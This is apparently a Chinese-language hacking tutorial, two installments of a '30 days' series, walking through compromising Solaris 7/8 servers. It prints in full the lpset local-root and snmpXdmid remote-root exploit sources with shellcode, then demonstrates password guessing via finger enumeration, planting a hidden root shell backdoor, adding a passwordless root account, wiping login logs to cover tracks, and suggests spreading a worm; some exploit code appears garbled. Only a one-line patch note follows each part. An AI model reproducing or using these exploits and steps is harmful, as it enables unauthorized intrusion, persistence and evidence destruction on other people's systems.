30天打造专业红客 『第26天』Sunos (一)
今天我想给大家介绍的是Sunos 。 Sunos是一个非常好的Unix操作系统,功能强大。很多大型公司都采用此系统作为服务器系统。(例如:sina、163等。)至于它的漏洞,也是多不胜数的了。今天我就介绍一下这个系统的漏洞。
Unix:Unix操作系统自70年代由贝尔实验室推出以来,80年代经过大学、研究所、工业实验室的应用和发展,现已成为全球各大学、研究所及工业研究室、计算机网络通信、工作站系统的主流工具,并开始进入商业市场和个人电脑领域。尤其是美国在1994年率先提出信息高速公路(Information Super Highway)的构想,更UNIX的发展应用推波助澜。到目前为止UNIX用户已经达到200万户,其成长速度之惊人,前所未有。UNIX提供多用户、多任务的操作环境,其网络工具使计算机远程通信、并行处理、资源分配等有了更广阔的应用前景。尤其是它的X Window系统函盖了传统的DOS命令行和视窗系统的优点。
Solaris与Sunos的版本转换:
Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 = Sunos 5.6,Solaris 2.5 = Sunos 5.5……
因为自Sunos 5以后,就叫Solaris了。
Solaris也有分服务器版和个人版,它们分别是:
服务器版:sparc
个人版:x86
通常个人是不会安装Solaris的。
Solaris主要的漏洞有:
远程漏洞:
RPC:
rpc.ttdbserverd :Solaris 2.3,2.4, 2.5, 2.5.1, 2.6
rpc.cmsd:Solaris 2.5, 2.5.1, 2.6, 7
其他:
sadmind:solaris 2.6, 7
snmpXdmid:Solaris 7, 8
本地漏洞:
lpset:Solaris 2.6,7
本次范例需要的系统及程序情况如下:
操作系统:Window2000
对方操作系统:Sunos 5.7 (solaris 7)
程序(一):lpset.c
程序(二):Superscan 3.0
程序(二):wipe-1.00
本机IP:127.0.0.1
测试IP:127.0.0.17
新程序说明:
“lpset.c”是利用solaris 7和solaris 2.6的/usr/bin/lpset -a 缓冲区溢出漏洞所写的一个exploit。
Solaris 7 lpset -a 缓冲区溢出漏洞
Solaris 2.6和Solaris 7中所带的lpset缺省设置了suid root位,它的一个执行选项"-a"在处
理时存在问题,它会将提供给"-a"的参数不加判断的拷贝到一个固定大小的buffer(900多字节)
中,当用户提供一个包含可执行代码的很长的字符串时,将导致lpset以root身份执行任意命令。
尽管lpset缺省只允许root和sysadm组的用户执行,但是,由于溢出发生在进行执行权限判断操
作之前,任意本地用户都可以利用这个漏洞获取root权限。
wipe-1.00:unix和liunx下,一个非常好用的日志清除程序。
新名词讲解:
肉鸡:已经被***了,具有控制权的主机。
跳板:利用此主机作跳板,***其他主机。
shell:shell是系统与用户的交换式界面。简单来说,就是系统与用户的“沟通”环境。我们平时经常用到的DOS,就是一个shell。(Windows2000是cmd.exe)
root:Unix里最高权限的用户。也就是超级管理员。
admin:Windows NT里最高权限的用户。也就是超级管理员。
rootshell:通过一个溢出程序,在主机溢出一个具有root权限的shell。
exploit:溢出程序。exploit里通常包含一些shellcode。
shellcode:溢出***要调用API函数,溢出后要有一个交换式界面进行操作。所以就有了shell的code。
char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
这就是一个shellcode。
找一个Unix主机也是一种技巧。
1、首先,我们打开superscan。
设置:
IP:(需要扫描的IP地址。)
Start:127.0.0.1
Stop:127.0.0.255
Scan Type:(扫描类型设置。)
All ports from:23|23
然后,点击“Start”,开始扫描。
2、点击“Prune”,把多余的主机删除。
3、点击“Expand All”,把所有扫描到的主机打开。这时,在端口下面就会显示一些信息。这些信息就是端口的响应。
小技巧:
........#..'..$:这种响应,通常是Sunos主机的。
..... ..#..':这种响应,通常是liunx的。
假设,我们扫描到:127.0.0.17。
打开,Windows自带的“命令提示符”。
ping 主机:
主要目的是查看主机是否能连接。
D:\>ping 127.0.0.17
Pinging 127.0.0.17 with 32 bytes of data:
Reply from 127.0.0.17: bytes=32 time=191ms TTL=241
Reply from 127.0.0.17: bytes=32 time=170ms TTL=241
Reply from 127.0.0.17: bytes=32 time=160ms TTL=241
Reply from 127.0.0.17: bytes=32 time=170ms TTL=241
Ping statistics for 127.0.0.17:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 160ms, Maximum =  191ms, Average =  172ms
小技巧:
通常 TTL > 200的,都是liunx或者unix系统。
TTL < 200的,都是Windows 9x或Windows NT系统。
telnet主机:
主要看看telnet的banner。
D:\>telnet 127.0.0.17
SunOS 5.7
login:
solaris 7 的。
接着,我用Superscan扫描主机的端口。
方法:
打开superscan。
设置:
IP:
Start:127.0.0.17
Stop:127.0.0.17
Scan Type:(扫描类型设置。)
All ports from:1|65535
然后,点击“Start”,开始扫描。
扫描完毕后,点击“Expand All”,把所有扫描到的端口打开。
* + 211.99.25.1
|___ 7 Echo
|___ 9 Discard
|___ 13 Daytime
|___ 19 Character Generator
|___ 21 File Transfer Protocol [Control]
|___ 23 Telnet
|___ 25 Simple Mail Transfer
|___ 37 Time
|___ 53 Domain Name Server
|___ 79 Finger
|___ 111 SUN Remote Procedure Call
|___ 512 remote process execution;
|___ 513 remote login a la telnet;
|___ 514 cmd
|___ 515 spooler
|___ 540 uucpd
主要的端口有:21、25、53、79、111、513
其他还有:22、80等
端口的主要漏洞:
21:FTP的端口。主要漏洞是ftpd。如果允许anonymous(匿名)用户,而且具有读写权限,那么那台机子就是你的啦。假如你具有读写权限的用户密码,那就更加容易了。
22:ssh的端口。例如:SSH 3.0的远程登录漏洞等。
25:sendmail的端口。利用它的漏洞,我们可以D.O.S主机。freebsd的8.8.3版本还可以远程溢出rootshell。
53:DNS的端口。主要漏洞是bind。对于bind 8.2的DNS服务器,我们可以利用exploit溢出一个rootshell。
79:finger的端口。在unix和liunx都很有作用。对于Sunos,我们可以 finger 0@***.***.***.*** 刺探用户。对于,liunx可以 finger @***.***.***.*** 刺探当前在线的用户。
80:web的端口。这个端口就是我们平时浏览网站的默认端口。主要的漏洞有CGI漏洞。
111:rpc的端口。rpc漏洞是当今最流行的漏洞之一。每一个漏洞都可以远程溢出rootshell。例如:redhat的rpc.statd,Solaris的rpc.ttdbserverd等。
513:rlogin的端口。你可以向主机发送一条:echo '+ +' >/.rhost 如果成功,就可以不用密码rlogin到主机。
finger主机。
目的是利用finger漏洞寻找主机的用户。(取得主机的用户对***主机有很大帮助。)
D:\>finger
0@127.0.0.17
[127.0.0.17]
Login       Name               TTY         Idle    When    Where
daemon          ???                         < .  .  .  . >
bin             ???                         < .  .  .  . >
sys             ???                         < .  .  .  . >
chenhy          ???            pts/7        <Aug  2 15:47> 61.158.255.225
mdevice         ???            897          <Aug  4 17:25> 61.140.253.142
liuy            ???            pts/5        <Aug  2 18:17> 211.101.132.50
oracle          ???            console     6:57 Mon 14:29  :0
oracle          ???            pts/2         4d Mon 14:29  :0.0
oracle          ???            pts/5         22 Sat 16:34  61.140.253.142
D:\>
存在finger漏洞。系统的用户显示出来了。(chenhy、mdevice、liuy、orcle)
oracle,通常oracle的密码就是oracle。
马上试一下!
D:\>telnet 127.0.0.17
SunOS 5.7
login: oracle
Password:
Last login: Sat Aug  4 17:25:49 from 61.140.253.142
Sun Microsystems Inc.   SunOS 5.7       Generic October 1998
$
成功了!
假如在这一步并没有猜到用户的密码,我们可以利用其他工具继续猜测。
命令:uname -a
查看主机的信息。
$uname -a
SunOS mars 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
SunOS mars 5.7:SunOS的版本。
sparc:服务器版本。
Generic_106541-08:补丁情况。
找到exploit:lpset.c
$cat >lpst.c
/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/lpset                                                          #*/
#define NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3
char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;
char jump[]=
    "\x81\xc3\xe0\x08"     /* jmp     %o7+8                */
    "\x90\x10\x00\x0e"     /* mov     %sp,%o0              */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
    char buffer[10000],adr[4],*b;
    int i;
    printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland  //lsd-pl.net/\n");
    printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");
    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;
    b=buffer;
    sprintf(b,"***=");
    b+=4;
    for(i=0;i<2;i++) *b++=0xff;
    for(i=0;i<NOPNUM-4;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;
    execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);
}
/*                   
www.hack.co.za           [4 August 2000]*/
^D (“^D” = Ctrl+D ,目的是结束。)
$cd /tmp
lpset.c放在/tmp目录了。
$ls
lpset.c
建立了。
$gcc -o lpset lpset.c
$
编译程序。
小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis -b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。
命令:chmod 777 lpset
设置程序“lpset”的属性为所有组所有用户都能访问。
$chmod 777 lpset
命令:./lpset
执行程序。
$./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland  //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc
sh: syntax error at line 1: `(' unexpected
#
命令:id
查看自己的所属的组别。
#id
uid=1035(delex) gid=20(staff) euid=0(root)
“euid=0(root)”取得root权限了。
做个后门:
# mkdir /usr/man/man5/shell
在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)
# cp /bin/ksh /usr/man/man5/shell
# chmod 777 /usr/man/man5/shell
一个简单的后门就做好了。
以后,我们可以用oracle登陆,然后“./usr/man/man5/shell”取得root权限。
用wipe-1.00清除日志。
先把wipe-1.00.tgz上传到主机。
通常ftp的密码与telnet的密码一样。
# gzip -d wipe-1.00.tgz
# tar -xf wipe-1.00.tar
# cd wipe-1.00
# make
Wipe v0.01 !
Usage: 'make ' where System types are:
  linux freebsd sunos4 solaris2 ultrix
  aix irix digital bsdi netbsd hpux
#
其中:
linux freebsd sunos4 solaris2 ultrix
aix irix digital bsdi netbsd hpux
为“选择系统”。
我们这里用“solaris2”。
#make solaris2
gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c
成功了。
#./wipe
   USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
    Erase all usernames      :   wipe u [username]
    Erase one username on tty:   wipe u [username] [tty]
WTMP editing:
   Erase last entry for user :   wipe w [username]
   Erase last entry on tty   :   wipe w [username] [tty]
LASTLOG editing:
   Blank lastlog for user    :   wipe l [username]
   Alter lastlog entry       :   wipe l [username] [tty] [time] [host]
        Where [time] is in the format [YYMMddhhmm]
ACCT editing:
   Erase acct entries on tty :   wipe a [username] [tty]
说明:
u 选项为 utmp utmpx 日志清除。
w 选项为 wtmp wtmpx 日志清除。
l 选项为 lastlog 日志清除。
a 选项为 pacct 日志清除。
方法:./wipe u oracle;./wipe w oracle;./wipe l oracle
#./wipe u oracle;./wipe w oracle;./wipe l oracle
Patching /var/adm/utmp .... Done.
Patching /var/adm/utmpx .... Done.
Patching /var/adm/wtmp .... Done.
Patching /var/adm/wtmpx .... Done.
Patching /var/adm/lastlog .... Done.
其中oracle为刚才登陆的用户名。
小技巧:我们可以用 ./wipe u oracle 隐藏自己。
运行:./wipe u oracle 前
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令
oracle    pts/1   下午 20:00        3          w
运行:./wipe u oracle 后
# w
下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01
用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令
最后,我们可以放个worm寻找更多机子。
当然,我们的目的不是为了***。帮主机打上补丁是最好的主意。
解决方法:chmod -s /usr/bin/lpset
 
 
    30天打造专业红客 『第26天』Sunos(二)
接着昨天的,今天,我们来看看Sunos的远程溢出。
本次范例需要的系统及程序情况如下:
操作系统:Window2000 To Sunos 5.8
对方操作系统:Sunos 5.8
程序(一):snmpxdmid.c
本机IP:127.0.0.1
测试IP:127.0.0.29
新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris snmpXdmid 远程缓冲区溢出漏洞:
Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程***者利用此漏洞能获得超级用户特权。
测试开始:
telnet ***.***.***.***
* telnet上我的肉鸡。
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
$./usr/man/man5/shell
#
* 取得root权限。
# cat > snmpxdmid.c
* 把exploit贴到主机上。
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101
char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D
# gcc -o snmpxdmid snmpxdmid.c  -lnsl –lsocket
* 编译exploit。
snmp.c: In function `main':
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmpxdmid
* 运行exploit。
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./snmpxdmid  address [-p port] -v 7|8
#./snmpxdmid 127.0.0.29 –v 8
* 溢出。
* 说明:
* address:主机IP地址。
* [-p port]:溢出端口。
* -v 7|8:solaris 2.7 (Sunos 5.7)或者solaris 2.8(Sunos 5.8)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
* 溢出成功。
id
uid=0(root) gid=0(root)
* 取得root权限。
echo "cnhack::1:0::/:/bin/bash" > /etc/passwd
* 添加一个用户名为cnhack,密码为空的管理员。
telnet localhost
* telnet主机:127.0.0.29
Trying 127.0.0.1...
Connected to localhost. Escape character is '^]'.
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
……
解决方法:
1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi (此处  代表对应运行级);再执行命令:/etc/init.d/init.dmi stop
2) 保险起见,可改变其用户权限: chmod 000 /usr/lib/dmi/snmpXdmid